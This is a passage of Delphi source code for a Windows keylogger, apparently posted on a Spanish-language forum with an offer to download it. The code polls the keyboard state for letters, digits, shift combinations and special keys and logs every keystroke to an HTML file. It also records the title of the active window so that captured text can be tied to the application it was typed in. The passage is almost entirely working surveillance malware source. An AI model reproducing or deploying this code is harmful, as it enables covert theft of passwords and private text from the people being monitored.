    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');
 
const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');
 
const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
 
begin
 
  // Others
 
  for i := Low(n_raros) to High(n_raros) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_raros[i]);
    end;
  end;
 
  // Numbers
 
  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_derecha[i]);
    end;
  end;
 
  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  begin
    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
    If Result = -32767 then
    begin
      savefile('logs.html', t_numeros_izquierda[i]);
    end;
  end;
 
  // SHIFT
 
  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  begin
 
    for i := Low(n_shift) to High(n_shift) do
    begin
      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
      If Result = -32767 then
      begin
        savefile('logs.html', t_shift[i]);
      end;
    end;
 
    for i := 65 to 90 do
    begin
      Result := GetAsyncKeyState(i);
      If Result = -32767 then
      Begin
        savefile('logs.html', Chr(i + 0));
      End;
    end;
 
  end;
 
  // MAYUS
 
  if (GetKeyState(20) = 0) then
  begin
    mayus := 32;
  end
  else
  begin
    mayus := 0;
  end;
 
  for i := 65 to 90 do
  begin
    Result := GetAsyncKeyState(i);
    If Result = -32767 then
    Begin
      savefile('logs.html', Chr(i + mayus));
    End;
  end;
 
end;
 
procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;
 
begin
 
  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
 
  nombre1 := ventana1;
 
  if not(nombre1 = Nombre2) then
  begin
    Nombre2 := nombre1;
    savefile('logs.html',
      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  end;
 
end;
 
//
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.